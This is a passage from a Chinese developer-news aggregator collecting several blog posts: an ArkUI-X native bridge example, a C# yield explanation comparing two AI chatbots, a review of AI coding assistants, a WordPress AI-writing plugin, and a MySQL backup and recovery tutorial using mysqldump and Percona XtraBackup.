编译后的ArkTS代码、资源和平台胶水代码已生成到 AndroidiOS 应用工程中,存放在 .arkui-x 目录下,后续安装、运行和调试请使用 Android StudioXcode,也可使用ACE Tools

平台桥接

ArkUI-X 未支持需要的功能实现,则需要使用平台桥接让原生平台各自实现相应的功能。

1、在ArkUI侧创建平台桥接。指定名称,该名称应与Android侧平台桥接的名称一致。

// 导入平台桥接模块
import bridge from '@arkui-x.bridge';

// 创建平台桥接实例
const bridgeImpl = bridge.createBridge('Bridge');

2、在Android侧创建BridgePlugin类。指定名称,该名称应与ArkUI侧平台桥接的名称一致。通过创建的该对象即可调用平台桥接的方法。

Bridge bridge = new Bridge(this, "Bridge", getBridgeManager());

ArkUI 调用 Android 方法

1、在ArkUI侧调用Android侧的方法。


const PLAT_ANDROID = 'Android'
const PLAT_IOS = 'iOS'
const PLAT_HARMONY = 'OpenHarmony'

const osFullNameInfo: string = deviceInfo.osFullName

function isAndroid() {
  return osFullNameInfo.startsWith(PLAT_ANDROID)
}

function isIOS() {
  return osFullNameInfo.startsWith(PLAT_IOS)
}

function isHarmony() {
  return osFullNameInfo.startsWith(PLAT_HARMONY)
}

const BRIDGE = 'Bridge'

export class PlatformHelper {

  static INSTANCE: PlatformHelper = new PlatformHelper();

  private bridgeImpl: bridge.BridgeObject|undefined = undefined;

  vibrate(duration: number) {
    this.crossPlatformMethod('vibrate', `${duration}`, () => {
      nativeVibrate(duration)
    })
  }

  crossPlatformMethod(methodName: string, param: string, onHarmony: ()=>void) {
    if (isHarmony()) {
      onHarmony()
    } else {
      if (this.bridgeImpl == undefined) {
        this.bridgeImpl = bridge.createBridge(BRIDGE);
      }
      if (this.bridgeImpl != undefined) {
        this.bridgeImpl.callMethod(methodName, param).then((res) => {
          let nativeResponse = '调用原生侧函数调用成功, 返回数据为 ' + res;
          console.log(nativeResponse);
        }).catch((err: Error) => {
          let nativeResponse = '调用原生侧函数调用失败: ' + err;
          console.log(nativeResponse);
        });
      }
    }
  }
}

2、在Android侧实现被调用的方法

    public void vibrate(String param) {
        ALog.i(TAG, "Android Bridge vibrate param is " + param);
        Vibrator vibrator = (Vibrator) context.getSystemService(Context.VIBRATOR_SERVICE);
        if (TextUtils.isDigitsOnly(param)) {
            vibrator.vibrate(Integer.parseInt(param));
        } else {
            vibrator.vibrate(60);
        }
    }

上面的代码就实现了在 ArkUI 侧调用 Android 侧的 vibrate 方法,能够成功实现振动。

ArkUI 调用 鸿蒙 方法

本以为鸿蒙的实现只需要写一个方法,直接调用就可以结果编译时报错

arkuix_cross_error.jpg

官网文档:gitee.com/arkui-x/doc…

需要新建后缀为 .ts的文件,并在不支持跨平台的接口上方增加注释 // @ts-ignore// @ts-nocheck 屏蔽警告,并保证这个方法只会在 OpenHarmony应用平台 调用。

by brian512_ at January 22, 2025 08:55 AM

juejin backend

C# 中有关yield 用法

今天来测试一下豆包和deepseek两个AI平台,顺便学习一下yield 用法。

一 先看看eepseek 平台

yield 是 C# 中的一个关键字,用于简化迭代器的实现。它允许你以更简洁的方式生成一个序列(IEnumerable 或 IEnumerator),而不需要显式地实现 IEnumerable 或 IEnumerator 接口。yield 通常用于生成器方法中,可以逐步返回序列中的元素。


1. yield 的基本用法

yield 关键字通常与 return 或 break 一起使用:

  • yield return:返回序列中的下一个元素。
  • yield break:终止序列的生成。

示例:生成一个简单的整数序列

using System;
using System.Collections.Generic;

class Program
{
    static void Main()
    {
        foreach (int number in GetNumbers())
        {
            Console.WriteLine(number);
        }
    }

    static IEnumerable<int> GetNumbers()
    {
        yield return 1;
        yield return 2;
        yield return 3;
    }
}

输出:

1
2
3

2. yield 的工作原理

当编译器遇到 yield return 时,它会自动生成一个状态机来管理迭代器的状态。每次调用 MoveNext 方法时,迭代器会从上一次 yield return 的位置继续执行,直到遇到下一个 yield return 或 yield break

示例:生成无限序列

using System;
using System.Collections.Generic;

class Program
{
    static void Main()
    {
        foreach (int number in GetInfiniteSequence())
        {
            Console.WriteLine(number);
            if (number > 10) break; // 防止无限循环
        }
    }

    static IEnumerable<int> GetInfiniteSequence()
    {
        int i = 0;
        while (true)
        {
            yield return i++;
        }
    }
}

输出:

0
1
2
3
4
5
6
7
8
9
10
11

3. yield 的延迟执行

yield 的一个重要特性是延迟执行(Lazy Evaluation)。序列中的元素只有在被请求时才会生成,而不是一次性生成所有元素。

示例:延迟执行

using System;
using System.Collections.Generic;

class Program
{
    static void Main()
    {
        var numbers = GetNumbers();
        Console.WriteLine("Before foreach");

        foreach (int number in numbers)
        {
            Console.WriteLine(number);
        }
    }

    static IEnumerable<int> GetNumbers()
    {
        Console.WriteLine("Start generating");
        yield return 1;
        Console.WriteLine("Generated 1");
        yield return 2;
        Console.WriteLine("Generated 2");
        yield return 3;
        Console.WriteLine("Generated 3");
    }
}

输出:

Before foreach
Start generating
1
Generated 1
2
Generated 2
3
Generated 3

可以看到,GetNumbers 方法中的代码是在 foreach 循环中逐步执行的,而不是一次性执行完毕。


4. yield break 的使用

yield break 用于提前终止序列的生成。

示例:使用 yield break 终止序列

using System;
using System.Collections.Generic;

class Program
{
    static void Main()
    {
        foreach (int number in GetNumbers(5))
        {
            Console.WriteLine(number);
        }
    }

    static IEnumerable<int> GetNumbers(int max)
    {
        for (int i = 0; i < 10; i++)
        {
            if (i >= max)
                yield break; // 提前终止

            yield return i;
        }
    }
}

输出:

0
1
2
3
4

5. yield 的常见应用场景

  • 生成序列:例如生成斐波那契数列、素数序列等。
  • 分页加载数据:逐步从数据库或文件中读取数据。
  • 延迟加载:只有在需要时才生成数据,节省内存和计算资源。

示例:生成斐波那契数列

using System;
using System.Collections.Generic;

class Program
{
    static void Main()
    {
        foreach (int number in Fibonacci(10))
        {
            Console.WriteLine(number);
        }
    }

    static IEnumerable<int> Fibonacci(int count)
    {
        int a = 0, b = 1;
        for (int i = 0; i < count; i++)
        {
            yield return a;
            int temp = a;
            a = b;
            b = temp + b;
        }
    }
}

输出:

0
1
1
2
3
5
8
13
21
34

6. 注意事项

  • 性能yield 生成的序列是延迟执行的,适合处理大数据集或需要逐步生成数据的场景。
  • 线程安全yield 生成的迭代器不是线程安全的。如果需要在多线程环境中使用,需要手动加锁。
  • 资源释放:如果迭代器方法中使用了需要释放的资源(如文件句柄、数据库连接等),建议使用 try-finally 块来确保资源释放。

示例:资源释放

using System;
using System.Collections.Generic;
using System.IO;

class Program
{
    static void Main()
    {
        foreach (string line in ReadLines("test.txt"))
        {
            Console.WriteLine(line);
        }
    }

    static IEnumerable<string> ReadLines(string filePath)
    {
        using (var reader = new StreamReader(filePath))
        {
            string line;
            while ((line = reader.ReadLine()) != null)
            {
                yield return line;
            }
        }
    }
}

总结

yield 是 C# 中实现迭代器的强大工具,它简化了生成序列的代码,并支持延迟执行和逐步生成数据。通过合理使用 yield,你可以编写出更高效、更简洁的代码。

二 豆包平台

在 C# 中,yield 关键字主要用于创建迭代器,允许你在迭代器块中使用更简洁的语法来实现自定义迭代器。以下是关于 yield 关键字的详细解释和使用示例:

1. yield return

  • 功能

    • yield return 语句用于在迭代器块中逐个返回元素。当迭代器执行到 yield return 语句时,它会返回一个元素,并保存当前的执行状态,下次调用迭代器时,会从上次暂停的位置继续执行。

示例代码:

using System;
using System.Collections.Generic;

class Program
{
    static IEnumerable<int> GetNumbers()
    {
        yield return 1;
        yield return 2;
        yield return 3;
        yield return 4;
        yield return 5;
    }

    static void Main()
    {
        foreach (var number in GetNumbers())
        {
            Console.WriteLine(number);
        }
    }
}

代码解释:

  • static IEnumerable<int> GetNumbers()

    • 这是一个迭代器方法,返回 IEnumerable<int> 类型,它使用 yield return 逐个返回整数元素。
    • 当调用 GetNumbers() 时,它不会立即执行整个方法,而是返回一个迭代器对象。
    • 每次调用 foreach 迭代时,执行会进入 GetNumbers() 方法,直到遇到 yield return,返回元素并暂停。
    • 下一次迭代会从上次暂停的位置继续,直到方法结束或遇到 yield break

2. yield break

  • 功能

    • yield break 语句用于终止迭代器的执行。

示例代码:

using System;
using System.Collections.Generic;

class Program
{
    static IEnumerable<int> GetNumbers()
    {
        for (int i = 1; i <= 10; i++)
        {
            if (i == 6)
            {
                yield break;
            }
            yield return i;
        }
    }

    static void Main()
    {
        foreach (var number in GetNumbers())
        {
            Console.WriteLine(number);
        }
    }
}

代码解释:

  • GetNumbers() 方法在 i 等于 6 时使用 yield break 终止迭代。
  • 因此,只会输出 1 到 5 的数字。

3. 无限序列:

  • 功能

    • 可以使用 yield return 创建一个无限序列,只要迭代器不使用 yield break 终止,它可以一直生成元素。

示例代码:

using System;
using System.Collections.Generic;

class Program
{
    static IEnumerable<int> InfiniteNumbers()
    {
        int i = 0;
        while (true)
        {
            yield return i++;
        }
    }

    static void Main()
    {
        var iterator = InfiniteNumbers().GetEnumerator();
        for (int i = 0; i < 10; i++)
        {
            iterator.MoveNext();
            Console.WriteLine(iterator.Current);
        }
    }
}

代码解释:

  • InfiniteNumbers() 方法使用 while (true) 创建一个无限序列。
  • 通过 GetEnumerator() 获取迭代器,并使用 MoveNext() 和 Current 手动迭代前 10 个元素。

4. 与 LINQ 结合使用:

  • 功能

    • yield return 可以和 LINQ 结合使用,生成自定义的 LINQ 风格的操作符。

示例代码:

using System;
using System.Collections.Generic;
using System.Linq;

class Program
{
    static IEnumerable<int> FilterEven(IEnumerable<int> numbers)
    {
        foreach (var number in numbers)
        {
            if (number % 2 == 0)
            {
                yield return number;
            }
        }
    }

    static void Main()
    {
        var numbers = new[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };
        var evenNumbers = FilterEven(numbers);
        foreach (var number in evenNumbers)
        {
            Console.WriteLine(number);
        }
    }
}

代码解释:

  • FilterEven(IEnumerable<int> numbers) 是一个自定义的 LINQ 风格的方法,使用 yield return 筛选偶数。

总结:

  • yield return 可以让你在迭代器方法中暂停执行并返回元素,下次迭代时从暂停处继续。

  • yield break 可以终止迭代器的执行。

  • 可以使用 yield 创建自定义的 LINQ 操作符和无限序列。

通过使用 yield,可以简化迭代器的实现,避免手动实现 IEnumerator<T> 和 IEnumerable<T> 的复杂性,使代码更简洁和易读。

三个人体验

两个平台都很不错,基本上把我想了解的知识点都说清楚了,但是一定要说哪个好一点。针对上面这个案例来说,deepseek平台要比豆包平台好一点点。不仅是展示,还有内容丰富度强一些。这就是我的个人感受。

by 大巨头 at January 22, 2025 08:51 AM

juejin frontend

从前端视角探索AI世界

从前端视角探索AI世界

前言

本文旨在以前端开发的视角去探索AI的世界,主要围绕当下较火的一些国内外AI辅助开发工具进行探讨,让读者能够了解到目前的AI开发工具所具备哪些能力,我们又该如何利用他们去提高我们的开发效率

最后本文会对各大主流AI工具进行评测对比,如国外的Copilot,Cursor,WindSurf,国内的通灵义码等等,让感兴趣的朋友能够更快找到适合自己的AI

AI在前端领域能做什么

1.代码分析

当我们阅读复杂业务代码或者三方源码时,AI能够起到很好的辅助作用,大的整个文件,小到某行代码,均可进行正确且完整的解析

image.png

2. 代码优化

在代码开发时,团队内可能因为技术水平,工作经历等缘故每个人开发出来的代码质量参差不齐,写完代码后,让AI帮忙优化,可以提升代码质量的下线

image.png

3. 代码提示

在我们写代码时,AI会阅读你写的代码,并且会根据你的上下文进行推导,来预测你想写代码,帮你减少工作量

image.png

4. Bug修复

当我们代码提测前,可以先由AI进行Bug检测,来有效减少Bug数量,当出现Bug时,AI也能帮忙修复Bug,当前案例较为简单,实际复杂业务代码中,AI也基本能胜任

image.png

市面上流行的AI辅助工具及优劣势对比

当前市面上可选择的AI工具有很多,如国内阿里的通灵义码,字节的MarsCode,百度的文心快码,国外github的Copilot,以及最近号称碾压Copilot的CursorWindSurf

博主在近一个月内,主要使用了以下几款AI工具进行日常开发,本文将从产品功能性、代码准确性、上手成本、产品公司实力以及性价比等方面进行对比

1. Copilot

介绍

Copilot是GitHubOpenAI合作开发的一款人工智能代码助手,它可以根据用户输入的注释和代码片段,自动生成高质量的代码。Copilot使用了OpenAI的GPT模型,可以学习和理解大量的代码库和文档,从而生成符合用户需求的代码。

核心功能

  • 代码智能补充
  • AI智能问答
  • AI代码修改

AI载体

主流编辑器插件,如VSCODE,IDEA等均有对应插件支持

收费标准

image.png

免费版:每个月有2000次代码智能补充,50次AI问答

个人版:每个月10美元,包年则为1年100美元

商务版:团队每个成员每月19美元

企业版:团队每个成员每月39美元

优劣势

优势:

  • 微软,OpenAi大厂背书,未来发展有保障
  • VSCode,Idea等主流编辑器良好插件支持
  • 功能完善,模型先进
  • 个人版费用相对适中

劣势:

  • 国内用户使用速度相对较慢
  • 团队使用费用较高
  • 和后来的CursorWindSurf等工具比起来,功能相对较少

2. Cursor

介绍

Cursor是由美国企业Anysphere于2024年推出,该企业于2022年由麻省理工4位高材生联合成立,成立后的首款产品即为Cursor, Cursor刚一上线便有着赶超Copilot的势头,目前更是已经拥有了数十万稳定用户使用

功能

  • 独立AI编辑器
  • 代码智能补充
  • AI实时问答,AI修改代码
  • Composer支持同一对话中同时修改多文件
  • Bug Finder支持一键在项目中扫描Bug(试用阶段)

AI载体

自研独立编辑器,可以从VsCode快速迁移,同时也有VScode插件支持,不过没有编辑器功能强大

收费标准

image.png

免费版:每个月有2000次代码智能补充,2周Pro试用权限,50次慢问答

个人版:每个月20美元,无限制补充代码补充,500次快速问答,无限制的慢速问答

企业版:团队每个成员每月40美元

优劣势

优势:

  • 功能相对于Copilot更加强大,有其特色的Compose,Bug Finder功能
  • 独立编辑器的运行效率比Vscode更好
  • 支持手动进行多文件上下文关联

劣势:

  • 背后公司规模相对较小
  • 个人版和企业版费用目前均为市场里最贵
  • 使用Cursor编辑器需要短期的适应和过度
  • 跨文件上下文依赖用户手动选择文件进行关联,有一定使用成本

3. WindSurf

介绍

WindSurf 是由 Codeium公司开发的一款新一代 AI 集成开发环境(IDE),它把AI能力与IDE结合了起来。Codeium早在2021年便开始专注于人工智能领域,在该领域中有较大的影响力,WindSurf凭借其出色的跨文件上下文分析能力,刚一面世便得到广大开发者的喜爱

功能

  • 独立AI编辑器
  • 代码智能补充
  • AI实时问答,AI修改代码
  • 自动化跨文件分析上下文

AI载体

在VsCode基础上进行优化开发的自研独立编辑器,界面和VsCode基本无差异,运行速度更快,暂无插件支持

收费标准

image.png

免费版:下载赠送50高级问答积分,200高级操作积分,无限制代码补充,每月5高级问答积分,5高级操作积分,无限制使用内置基础自研AI模式

个人版:早期注册者每月10美元,现在注册的每月15美元,500高级问答积分,1500高级操作积分,快速无限制使用内部基础AI模型

企业版:35美元/人 每月,每月每人300高级问答积分,1200高级操作积分,内部成员可共享积分,快速无限制使用内部基础AI模型

优劣势

优势:

  • 具备Cursor的绝大部分功能
  • 独有的自动化分析项目上下文,一切问答都基于整个项目,而非某些关联文件
  • 编辑器基于Vscode优化开发,从Vscode过度流畅
  • 目前国外主流AI工具中,其免费版是功能相对最为完善的

劣势:

  • 只能使用WindSurf编辑器开发,目前暂无三方插件支持
  • VsCode插件首次迁移后,后续的插件市场和Vscode不互通,并且插件未和账号关联,安装编辑器需要再次从Vscode同步
  • 对于重度使用者来说,付费版用完当月积分后,需要继续付费购买额外积分

4. 通灵义码

介绍

通灵义码是由阿里开发的一款基于通义大模型的 AI 研发辅助工具,提供代码智能生成、研发智能问答、多文件代码修改、自主执行等能力,为开发者带来智能化研发体验,引领 AI 原生研发新范式。

功能

  • 代码智能补充
  • AI实时问答,AI修改代码
  • 快速生成注释,单例测试,代码优化

AI载体

VsCode及IDE等主流编辑器插件

收费标准

完全免费

优劣势

优势:

  • 背靠阿里大厂,研发投入稳定
  • 完全免费,无任何费用
  • VsCode,IDE均有插件支持
  • 交互功能较为完善,其中可以局部生成代码注释,优化代码等
  • 具备一定的跨文件上下文分析能力

劣势:

  • AI引擎为通义大模型,和国际AI引擎GPT 4o,Claude 3.5相比较为稚嫩
  • 生成代码准确性及质量相比于国外AI差距较明显,需要人工仔细二次矫正
  • 上下文分析能力相对还较弱,需要语言引导
  • 复杂场景下,AI计算效率相对较慢

总结

Copilot:

主流编辑器内置插件,无编辑器上手成本,流畅使用的话,需要翻墙,背靠微软和OpenAi,研发迭代稳定,价格适中,代码准确性较高,跨文件分析能力一般

Cursor:

主推独立AI编辑器,也有部分市面编辑器的插件版本,但功能不如编辑器强大,初创公司背景,发展势头较大,每月价格较高,代码准确性高,跨文件关联分析能力较强

WindSurf:

只有独立AI编辑器,无插件支持,公司本身所有业务均为人工智能,相关领域经验丰富,AI模型成熟,免费版功能也较为全面,每月价高适中,跨文件上下文分析能力强

通义灵码

国内头部AI编程工具,背靠阿里大厂,研发投入稳定,产品功能和交互设计完善,对于单一函数分析及优化能力较好,对于整体文件及跨文件分析能力较差,生成代码质量相对较差,需要人工二次检查,但是完全免费,性价比高

个人前端用户使用,主推WindSurf,免费版及个人版均可

不想换编辑器,有翻墙软件,并且有一定预算的用户,推荐使用Copilot

预算有限,作为团队基础AI工具引入推荐通义灵码

by 前端阿呆 at January 22, 2025 08:50 AM

juejin backend

WordPress果果AI创作插件

果果AI创作集成了百度千帆大模型、讯飞星火大模型、火山方舟大模型、阿里云百炼大模型、腾讯混元大模型、Google Gemini大模型、ChatGPT大模型,通过导入文章标题,就可以生成文章内容的AI创作插件。

主要功能:

  • 接入了7大平台的大模型,随心使用
  • 支持将大模型接口返回的内容转为HTML格式使用,避免网站无法解析Markdown格式的文章内容
  • 支持创作指令设置,让AI生成的文章更准确
  • 可以设置AI生成的文章内容最少字数,低于这个数字的文章内容,不会发布
  • 支持发布分类设置,可以将AI文章发布到指定分类下
  • 支持文章发布状态设置,可以设置为草稿、已发布、定时发布,定时发布可以设置多少天后发布
  • 支持自动发布与手动发布AI文章
  • 支持手动添加标题与导入标题文件

插件地址:https://www.ggdoc.cn/plugin/29.html

目前可以永久免费使用的大模型如下:

注意事项:

  • 如果调用模型接口在PHP脚本运行超时时间内(默认为30秒)无法完成时,请将PHP脚本运行超时时间设置大一点
  • 目前插件只能使用文本生成类型的模型,不能使用图片或者视频生成的模型

更新记录

新增ChatGPT大模型使用

百度千帆大模型添加ak_sk调用

产品截图

设置设置

标题管理标题管理

标题详情标题详情

AI生成的文章内容AI生成的文章内容

by 果果开发 at January 22, 2025 08:45 AM

mysql备份

mysqldump工具

mysqldump介绍: mysqldump是一个逻辑备份工具,其备份的是SQL语句。

mysqldump备份方式:

  1. 对于InnoDB存储引擎的表:

可以采取快照备份的方式,在备份期间可以开启一个独立的事务,获取当前最新的一致性快照,将快照数据放在临时表中,而后转换为SQL语句(比如DDL,DML等语句)并保存到文件中。综上所述,mysqldump工具在备份时不需要锁原来的表,因为它只是一个读的操作。因此也不会影响到其他事物。

  1. 对于非InnoDB存储引擎的表:

需要进行短暂全局锁表才能进行备份。即触发"Flush Table With Read Lock"(简称"FTWRL")机制。将备份的数据放在临时表中,转换为SQL语句(比如DDL,DML等语句)并保存到文件中。因为非InnoDB存储引擎并不支持事务,它没有快照功能。所以只能锁表备份,相当于"温备份"(即可以查询但不能修改)。

温馨提示:

(1)生产环境中对于非InnoDB存储引擎的表相对来说比较少,大多数都是MySQL内置的系统表,因此锁表的时间并不会特别长;

(2)综上所述,我们不能说使用mysqldump工具在备份时不锁表,除非是在单独备份InnoDB的表。因为对于非InnoDB(例如:MyIsam)的表进行备份会触发全局锁表FTWRL机制;

mysqldump工具的核心参数

连接参数:
-u:指定连接MySQL服务端的用户名。
-p:指定连接MySQL服务端的用户名所对应的密码。
-h:指定连接MySQL服务端的主机地址。
-P:指定连接MySQL服务端的端口。
-S:指定连接MySQL服务端的本地套接字文件,和mysql工具类似,该参数通常是在MySQL服务器端本地操作时使用。

备份参数:
-A: 全量备份
-B: 部分备份数据库。
备份表:如果只备份某个数据库下的某张表或多张表,则无需指定任何参数,语法格式为: "数据库名称 表1[ 表2 表3 ...]"。
--master-data: 该选项参数可以在备份时自动记录二进制日志的位置点和文件名称。该参数有三个值可选,即0,1,2。
当选项的值为0时:若不指定则默认值就为0,即表示不记录备份时的日志的位置信息。
当选项的值为1时:会将"CHANGE MASTER TO ..."命令写入到备份文件中。
当选项的值为2时:将"CHANGE MASTER TO ..."命令以注释的方式写入到备份文件中。生产环境中,在主从搭建的场景下,通常也是将"--master-data"设置为2。
温馨提示:
该参数备份时会自动将"--lock-all-table"功能打开,这意味着会触发全局读锁(即"FTWRL"),在数据备份完成之后,会将"--lock-tables"功能关闭,以达到释放锁的目的。
但对于生产环境中的InnoDB存储引擎没有必要给所有的表加锁,因此我们可以考虑使用"--single-transaction"来控制以减少锁表时间。
--single-transaction: 
在支持多版本(multiversioning)并发控制的InnoDB存储引擎中,会开启一个独立的事物,获取一个一致性快照(consistent snapshot)进行备份,而创建快照无需锁表。
需要注意的是,其他连接不应该使用DDL操作(如"ALTER TABLE","DROP TABLE","RENAME TABLE"等),因为一致性快照并不是与它们隔离的。
-R:在备份时一起备份存储过程和函数。
-E:备份事件。
--triggers:备份触发器。
--max_allowed_packet:
max_allowed_packet:既属于MySQL服务端参数,也属于MySQL客户端参数.如果客户端执行DML语句,数据由客户端发往服务端,比如INSERT超过1000w条数据,如果服务端设置"max_allowed_packet"过小就会抛出异常。
而MySQL5 .7及以下版本的服务端"max_allowed_packet"的默认值是4MB。
而MySQL8.0及以上版本的服务端"max_allowed_packet"的默认值是64MB。

 
mysqldump -B  test >  test.sql
mysqldump test > test2.sql
两者区别如下:
mysqldump -B  test >  test.sql 语句会比mysqldump test > test2.sql多出两条SQL,即CREATE DATABASE test;和 use test;
mysqldump -B  test >  test.sql 会创建"test"数据库,并备份"test"数据库下的所有表。
mysqldump test > test2.sql  备份"test"数据库下的所有表,但并不会创建"test"数据库。

全量备份案例

mysqldump -uroot -p'1qaz!QAZ' -A > ~/all.sql

只备份部分数据库案例

mysqldump -uroot -p'1qaz!QAZ' -B cdh hdp hive > ~/db.sql  # 只备份"cdh","hdp""hive"这三个数据库。

只备份某个数据库的单表或多表

只备份"test"数据库下的"call_police""student"这两张表:
mysqldump -uroot -p'1qaz!QAZ' test call_police student > ~/test-call_police_student.sql

备份时自动记录二进制日志的位置点和文件名称

对于InnoDB存储引擎表备份时,开启一个独立事务,获取一致性快照,进行备份

mysqldump -uroot -p'1qaz!QAZ' -A --master-data=2 --single-transaction > ~/all.sql
在备份InnoDB存储引擎的表时,我们通常会将"--master-data"和"--single-transaction"两个参数搭配使用

在备份时一起备份存储过程,函数,事件,和触发器

mysqldump -uroot -p'1qaz!QAZ' -A --master-data=2 --single-transaction -E -R --triggers > ~/all.sql 

备份时指定客户端接收数据包大小限制

mysqldump -uroot -p'1qaz!QAZ' -A --master-data=2 --single-transaction -E -R --triggers --max_allowed_packet=64M > ~/all.sql 

温馨提示:
(1)max_allowed_packet参数无论是在MySQL客户端还是在MySQL服务端,都有同名参数控制,如果在"[mysqld]"标签中设置,表示配置的是服务端,这意味着客户端执行DML操作,允许最大的packet数默认是4MB。
(2)--max_allowed_packet参数在mysqldump通常设置64MB即可,如果数据表较大,也可以修改为128MB测试;
(3)如果报错说是由于packet较大导致的错误要先分析到底是客户端还是服务端设置较小,找到原因后在还原即可;

基于mysqldump,mysqlbinlog工具进行恢复的思路

备份思路: mysqldump每天全备,binlog定时备份。

  1. 先恢复全量备份
mysql> SET sql_log_bin=0;
mysql> SOURCE ~/full-2021-02-12.sql

2. 查看现有的binlog事件日志位置信息,获取结束位置

查看目前写入的binlog文件
SHOW MASTER STATUS;
SHOW BINLOG EVENTS IN 'mysqld-binary.000019';
通过上述两条命令获取到获取需要binlog需要恢复的数据的开始位置和结束位置

3. 使用mysqlbinlog工具截取日志

生产环境中如果开启了GTID功能,切记要添加"--skip-gtids"参数

基于"--start-position""--stop-position"截取日志:
mysqlbinlog --skip-gtids --start-position=795 --stop-position=1221  mysqld-binary.000019 > /tmp/recover_demo.log

基于"--include-gtids"截取日志:
mysqlbinlog --skip-gtids --include-gtids='ecaf563f-5345-11eb-a106-000c29820c67:104-105' mysqld-binary.000019 > /tmp/recover_demo2.log

4. 通过截取的日志文件"/tmp/recover_demo.log"恢复数据

mysql> SOURCE /tmp/recover_demo.log;

mysqldump的使用总结

做全量备份实例:(有关参数说明请参考"mysqldump工具的核心参数")
mysqldump -uroot -p'1qaz!QAZ' -A --master-data=2 --single-transaction -E -R --triggers --max_allowed_packet=64M > ~/full.sql 

mysqldump工具的使用场景:
建议选择数据量较小的场景,比如100GB左右的数据选择mysqldump是一个不错的方案,如果数据量较大,比如超过200GB的话,建议采用物理备份,而当数据量巨大时(通常指TB级别甚至更大数据量场景)建议采用分布式架构集合mysqldump工具进行备份。
如果数据在100GB以内,使用mysqldump备份时间大概在1小时以内,就算数据量能达到200GB左右,备份时间应该也控制在1-2小时之间。在生产环境中,恢复时间可能是备份时间的双倍是很常见的情况

mysqldump工具的优缺点:
优点:
(1)可读性比较强;
(2)相比物理备份压缩比更高,即节省存储空间;
(3)MySQL内置的工具,无需下载安装;
(4)相比物理备份移植性更强,可以跨存储引擎;
缺点:
(1)相比物理备份,逻辑备份消耗的时间相对较长;
(2)恢复时间更长,通常是备份时间的双倍甚至更长的时间;

MySQL物理备份工具Percona Xtrabackup

Percona Xtrabackup简介

Percona Xtrabackup(简称PXB)工具采用perl语言开发。它是一款物理备份工具,简单来讲就是用来拷贝Linux本地的数据文件。因此使用它备份MySQL数据瓶颈在于磁盘的I/O速度。

对于InnoDB存储引擎的表:

(1)Percona Xtrabackup工具采用热备份方式,即无需锁表进行备份,这种备份方式在业务正常发生的时候,影响较小的备份方式。

(2)Percona Xtrabackup的工作流程如下所示:

1)先执行检查点(checkpoint),将已提交的数据页刷写到磁盘,并记录一个LSN编号;

2)拷贝InnoDB表相关的文件,例如:ibdata1,".frm",".idb"等文件;

3)备份期间产生新的数据变化的redo也会备份走;

4)再次统计LSN编号,写入到专用文件;

5)将二进制日志位置记录下来;

6)将所有备份文件统一存放在一个目录下;

对于非InnoDB存储引擎的表:

(1)Percona Xtrabackup工具采用温备份方式,即需要暂时性锁表备份,对业务是有一定影响的。幸运的是,对于非InnoDB表相对较少,比如MySQL内置的系统表均是MyIsam,因此只会有短暂的锁表现象。

(2)Percona Xtrabackup的工作流程如下所示:

1)触发全局读锁(即"FTWRL"),而后执行检查点(checkpoint),将已提交的数据页刷写到磁盘,并记录一个LSN编号;

2)拷贝非InnoDB表的数据;

3)拷贝数据完成后需要解锁;

4)将二进制日志位置记录下来;

5)将所有备份文件统一存放在一个目录下;

Percona XtraBackup工具的官方下载地址: www.percona.com/downloads/

Percona XtraBackup 2.4工具官方文档:www.percona.com/doc/percona…

基于yum的方式安装Percona XtraBackup工具

wget -O /etc/yum.repos.d/epel.repo https://mirrors.aliyun.com/repo/epel-7.repo
yum -y install perl perl-devel libaio libaio-devel perl-Time-HiRes perl-DBD-MySQL libev
yum -y install percona-xtrabackup-*.rpm
wget https://downloads.percona.com/downloads/Percona-XtraBackup-2.4/Percona-XtraBackup-2.4.21/binary/redhat/7/x86_64/percona-xtrabackup-24-2.4.21-1.el7.x86_64.rpm
yum -y localinstall percona-xtrabackup-24-2.4.21-1.el7.x86_64.rpm 

Percona Xtrabackup全量备份

使用Percona Xtrabackup工具的前提

(1)启动数据库,因为XBK需要连接数据库去读取当前数据库实例有效的数据库名称及对应的表名称;
(2)能连接上数据库,还需要再"/etc/my.cnf"配置文件指定"client":
cat /etc/my.cnf
[client]
socket=/tmp/mysql23307.sock
(3)Percona Xtrabackup属于服务端工具,因此不要想着将它向mysqldump工具一样,安装再客户端也能进行备份操作,我们应该将Percona Xtrabackup工具直接安装在MySQL服务端实例上;

使用innobackupex命令全量备份

innobackupex /backup/xbk 
使用此命令备份时:
使用innobackupex工具备份时可以自动创建"/backup/xbk"目录
备份的目录大小和源目录的大小并不相同



--no-timestap: 取消默认备份目录名称,而是手动指定备份目录名称
innobackupex --no-timestap /backup/xbk/full_`date +%F`

备份结果

在使用innobackupex命令备份完成之后,在查看备份目录的结构时,不难发现多出来了一些列以"xtrabackup_*"开头的文件

xtrabackup_binlog_info:记录的是备份时二进制日志位置点信息:
xtrabackup_checkpoints:记录的是检查点日志信息,包含备份类型及LSN编号(方便后期做增量备份)等
xtrabackup_info:记录的总体的一些信息
xtrabackup_logfile:是一个二进制文件,使用文本工具打开强行打开也获取不到我们想要的信息,该文件记录的是Redo日志的信息

基于全量备份来恢复数据

innobackupex --apply-log /backup/xbk/2021-02-13_12-00-56/
cp -a /backup/xbk/2021-02-13_12-00-56/* /usr/local/mysql/data/
chown -R mysql:mysql /usr/local/mysql/data/

Percona Xtrabackup增量备份

XBK增量备份及恢复逻辑

备份时:

(1)增量备份必须依赖于全量备份;

(2)每次增量备份都是参照上一次备份的LSN号码,在此基础上变化的数据页才会备份;

(3)需要注意的是,会将备份过程中产生新的变化的Redo也一并备份走;

恢复时:

如下图所示,需要将所有需要的增量备份按顺序合并到全量备份中,并且需要将每个备份进行prepare后,才能后续的恢复操作。

温馨提示: 所谓的增量备份并不是指数据增加了就备份,数据被删除了就不备份。增量备份是针对LSN编号而言的,因为每个操作都唯一对应一个LSN编号,尽管删除了数据,这个LSN编号是在持续增大,而我们是已于LSN编号来进行备份,所以才有增量备份一说。

image.png

使用innobackupex命令增量备份

在做增量备份时,可能会用到以下几个参数:
innobackupex --no-timestamp --incremental --incremental-basedir=~/full_2021-02-13 


--user='admin': 指定用户名为'admin'--password='1qaz!QAZ':指定用户名所对应的密码为'1qaz!QAZ',请根据你数据库实际授权备份用户填写即可。
--no-timestamp:表示不使用默认的时间戳,我们可以自定义指定备份的路径及备份目录名称。
--incremental:表示启用增量备份功能。
--incremental-basedir=~/full_2021-02-13:指定基于哪个现有目录做增量备份,第一次做增量备份时,指定的目录应该为全量备份目录。换句话说,就是指定上一次备份的LSN编号的存储目录。

增量备份恢复案例

